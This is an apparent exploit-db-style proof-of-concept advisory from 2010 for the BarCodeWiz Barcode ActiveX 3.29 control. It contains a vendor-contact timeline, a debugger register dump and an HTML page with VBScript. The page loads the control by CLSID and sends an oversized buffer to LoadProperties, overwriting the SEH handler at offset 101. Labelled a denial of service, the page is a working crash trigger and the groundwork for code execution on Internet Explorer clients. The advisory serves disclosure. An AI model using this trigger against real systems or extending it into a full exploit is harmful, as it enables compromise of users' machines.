Barcodewiz BarCode ActiveX 3.29 - Denial of Service (PoC)

🗓️ 30 Jul 2010 00:00:00Reported by loneferretType

Barcodewiz BarCode ActiveX 3.29 Denial of Servic

# BarCodeWiz Barcode ActiveX Control 3.29 PoC (SEH)
# Bug found: 24th July 2010
# Found  by: loneferret
# Software: http://www.barcodewiz.com/
# Nods to exploit-db.com

# Vulnerable file BarCodeWiz.dll
# LoadProperties method

# Tested on:
# Windows XP Professional SP3 & Windows XP Home SP3
# Internet Explorer 6 & Internet Explorer 7
 
# Vendor contacted: 24th July 2010
# Vendor first reply: 26th July 2010: Wanting more information
# Vendor contacted: 26th July 2010: Sent 2 proof of concepts files
# Vendor contacted: 29 July 2010: Asked for update
# No Response from vendor: 30 July 2010
# Public Release : 30 Juley 2010
 

# CPU Registers Information
#
# EAX 7EFEFEFE
# ECX 0013FBF8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.................
# EDX 41414141
# EBX 01AB3D68
# ESP 0013AC94
# EBP 0013AD48
# ESI 00000000
# EDI 0013FFFD
# EIP 1002F379 BarcodeW.1002F379
# C 0  ES 0023 32bit 0(FFFFFFFF)
# P 1  CS 001B 32bit 0(FFFFFFFF)
# A 0  SS 0023 32bit 0(FFFFFFFF)
# Z 1  DS 0023 32bit 0(FFFFFFFF)
# S 0  FS 003B 32bit 7FFDF000(FFF)
# T 0  GS 0000 NULL
# D 0
# O 0  LastErr ERROR_SUCCESS (00000000)
# EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
# ST0 empty -??? FFFF 00690069 00690069
# ST1 empty -??? FFFF 00F000F0 00F000F0
# ST2 empty -??? FFFF 00690058 00570054
# ST3 empty -??? FFFF 00EF00C9 00C600C1
# ST4 empty -NAN FFFF FFD9D7D2 FFEEEDEB
# ST5 empty -??? FFFF 00F000C9 00C700C2
# ST6 empty 1.0000000000000000000
# ST7 empty 2838.0000000000000000
#                 3 2 1 0      E S P U O Z D I
# FST 4000  Cond 1 0 0 0  Err 0 0 0 0 0 0 0 0  (EQ)
# FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

# SEH Information
#
# SEH chain of main thread, item 0
#  Address=0013E574
#  SE handler=41414141


# SEH is overwritten starting at the 101th position of our buffer.

----HTML FILE FROM HERE ON-----
<html>
<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='target'></object>
<script language='vbscript'>

buffer = String(101,"A")
SEH = String(4, "B")
buffer2 = String(1895, "C")

arg1 = buffer + SEH + buffer2

target.LoadProperties arg1

 
</script>

Barcodewiz 3.29
</html>

30 Jul 2010 00:00Current

7.4High risk

Vulners AI Score7.4